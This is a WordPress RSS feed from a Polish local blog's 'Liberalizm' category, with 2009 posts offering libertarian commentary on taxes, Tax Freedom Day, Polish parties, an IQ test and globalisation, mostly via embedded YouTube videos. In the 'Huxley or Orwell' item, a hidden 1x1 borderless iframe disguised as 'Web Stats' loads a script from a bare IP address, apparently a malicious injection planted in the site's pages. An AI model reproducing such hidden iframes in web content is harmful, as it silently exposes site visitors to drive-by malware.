<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Knurów Internet Telefon Telewizja &#187; Liberalizm</title>
	<atom:link href="http://wknurowie.pl/category/liberalizm/feed/" rel="self" type="application/rss+xml" />
	<link>http://wknurowie.pl</link>
	<description>Blog o Knurowie</description>
	<lastBuildDate>Sun, 11 Jul 2010 08:49:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Podatki w liczbach i fałszywy liberalizm pewnej partii</title>
		<link>http://wknurowie.pl/podatki-w-liczbach/</link>
		<comments>http://wknurowie.pl/podatki-w-liczbach/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 16:50:18 +0000</pubDate>
		<dc:creator>Łukasz</dc:creator>
				<category><![CDATA[Liberalizm]]></category>
		<category><![CDATA[podatki]]></category>
		<category><![CDATA[wybory]]></category>

		<guid isPermaLink="false">http://wknurowie.pl/?p=751</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/cToGZOCL_YI&#038;hl=pl&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/cToGZOCL_YI&#038;hl=pl&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/08ubdq3waFk&#038;hl=pl&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/08ubdq3waFk&#038;hl=pl&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://wknurowie.pl/podatki-w-liczbach/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dzień Wolności Podatkowej</title>
		<link>http://wknurowie.pl/dzien-wolnosci-podatkowej/</link>
		<comments>http://wknurowie.pl/dzien-wolnosci-podatkowej/#comments</comments>
		<pubDate>Wed, 10 Jun 2009 15:33:14 +0000</pubDate>
		<dc:creator>Łukasz</dc:creator>
				<category><![CDATA[Biznes]]></category>
		<category><![CDATA[Liberalizm]]></category>
		<category><![CDATA[podatki]]></category>

		<guid isPermaLink="false">http://wknurowie.pl/?p=717</guid>
		<description><![CDATA[&#8230;czyli w tym dniu (szacunkowo) zaczynamy ZARABIAĆ NA SIEBIE, bo od początku roku PRACUJECIE &#8222;na darmową służę zdrowia, na darmowe szkolnictwo, na budowę autostrad, na publiczną telewizję, na pensję polityków, na utrzymanie nieruchomości i ruchomości naszych polityków, na utrzymanie molocha jakim jest ZUS i jego pałaców, na pensję dla prezesiów państwowych przedsiębiorstw, na finansowanie działalności [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;czyli w tym dniu (szacunkowo) zaczynamy <strong>ZARABIAĆ NA SIEBIE</strong>, bo od początku roku <strong>PRACUJECIE</strong> &#8222;na darmową służę zdrowia, na darmowe szkolnictwo, na budowę autostrad, na publiczną telewizję, na pensję polityków, na utrzymanie nieruchomości i ruchomości naszych polityków, na utrzymanie molocha jakim jest ZUS i jego pałaców, na pensję dla prezesiów państwowych przedsiębiorstw, na finansowanie działalności partii oraz na wiele innych wydatków&#8221;.</p>
<p>Chłop w czasach feudalizmu pracował dla pana do około 15 kwietnia, ale wtedy socjalizm nie był tak popularny jak teraz.</p>
<p>Można owijać w bawełnę, ale lepiej napisać wprost kto z PO,PIS,SLD,PSL, itd. obniżył podatki lub zredukował wydatki państwa?</p>
<p>Kto z w/w partii liberalizował (upraszczał &#8211; jak się ostatnio dowiedziałem nie wszyscy wiedzą co oznacza słowo <a href="http://pl.wikipedia.org/wiki/Liberalizm">liberalny</a>, albo utożsamiają je z partią PO co jest rażącym nadużyciem) przepisy gospodarcze nie kładąc kolejnych przeszkód pod nogi przedsiębiorcom?</p>
<p>PS: Pytanie za 100 punktów, która z partii finansuję się z własnych składek? Która partia od początku istnienia głosi ten sam program wyborczy w sprawach gospodarczych? Która partia jest pomijana w mediach? Która partię utożsamiają z tylko jedną kontrowersyjną osobą, która de facto nie jest członkiem tej partii? </p>
]]></content:encoded>
			<wfw:commentRss>http://wknurowie.pl/dzien-wolnosci-podatkowej/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Huxley or Orwell who has right?</title>
		<link>http://wknurowie.pl/huxley-or-orwell-who-has-right/</link>
		<comments>http://wknurowie.pl/huxley-or-orwell-who-has-right/#comments</comments>
		<pubDate>Wed, 27 May 2009 20:32:27 +0000</pubDate>
		<dc:creator>Łukasz</dc:creator>
				<category><![CDATA[Liberalizm]]></category>
		<category><![CDATA[Huxley]]></category>
		<category><![CDATA[Orwell]]></category>

		<guid isPermaLink="false">http://wknurowie.pl/?p=701</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-700" href="http://wknurowie.pl/huxley-or-orwell-who-has-right/huxley-orwell/"><img class="aligncenter size-large wp-image-700" title="huxley-orwell" src="http://wknurowie.pl/wp-content/uploads/2009/05/huxley-orwell-128x1024.png" alt="huxley-orwell" width="128"  /></a><!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --></p>
]]></content:encoded>
			<wfw:commentRss>http://wknurowie.pl/huxley-or-orwell-who-has-right/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wyniki Narodowego testu inteligencji 2004</title>
		<link>http://wknurowie.pl/wyniki-narodowego-testu-inteligencji-2004/</link>
		<comments>http://wknurowie.pl/wyniki-narodowego-testu-inteligencji-2004/#comments</comments>
		<pubDate>Tue, 26 May 2009 15:44:24 +0000</pubDate>
		<dc:creator>Łukasz</dc:creator>
				<category><![CDATA[Liberalizm]]></category>
		<category><![CDATA[intelignecja]]></category>
		<category><![CDATA[upr]]></category>
		<category><![CDATA[wybory]]></category>

		<guid isPermaLink="false">http://wknurowie.pl/?p=696</guid>
		<description><![CDATA[Test przeprowadzony został na grupie 172 450 osób. Prawda jest taka, że zdecydowania większość ludzi nie zgadza się z ideami głoszonymi przez UPR, ponieważ ich po prostu nie rozumie.]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-697" href="http://wknurowie.pl/wyniki-narodowego-testu-inteligencji-2004/test-intelignecji/"><img class="aligncenter size-full wp-image-697" title="test-intelignecji" src="http://wknurowie.pl/wp-content/uploads/2009/05/test-intelignecji.jpg" alt="test-intelignecji" width="397" height="505" /></a></p>
<p><a href="http://iq.onet.pl/1196866,2277,artykul.html">Test przeprowadzony został na grupie 172 450 osób.</a></p>
<blockquote><p>Prawda jest taka, że zdecydowania większość ludzi nie zgadza się z ideami głoszonymi przez UPR, ponieważ ich po prostu<strong> nie rozumie.</strong></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://wknurowie.pl/wyniki-narodowego-testu-inteligencji-2004/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nowy wspaniały &#8211; globalny świat</title>
		<link>http://wknurowie.pl/nowy-wspanialy-globalny-swiat/</link>
		<comments>http://wknurowie.pl/nowy-wspanialy-globalny-swiat/#comments</comments>
		<pubDate>Sun, 29 Mar 2009 14:12:35 +0000</pubDate>
		<dc:creator>Łukasz</dc:creator>
				<category><![CDATA[Liberalizm]]></category>
		<category><![CDATA[globalizacja]]></category>
		<category><![CDATA[socjalizm]]></category>

		<guid isPermaLink="false">http://wknurowie.pl/?p=647</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/D74rM0rMsjk&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/D74rM0rMsjk&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://wknurowie.pl/nowy-wspanialy-globalny-swiat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk (enhanced) (user agent is rejected)

Served from: wknurowie.pl @ 2010-07-29 13:52:11 -->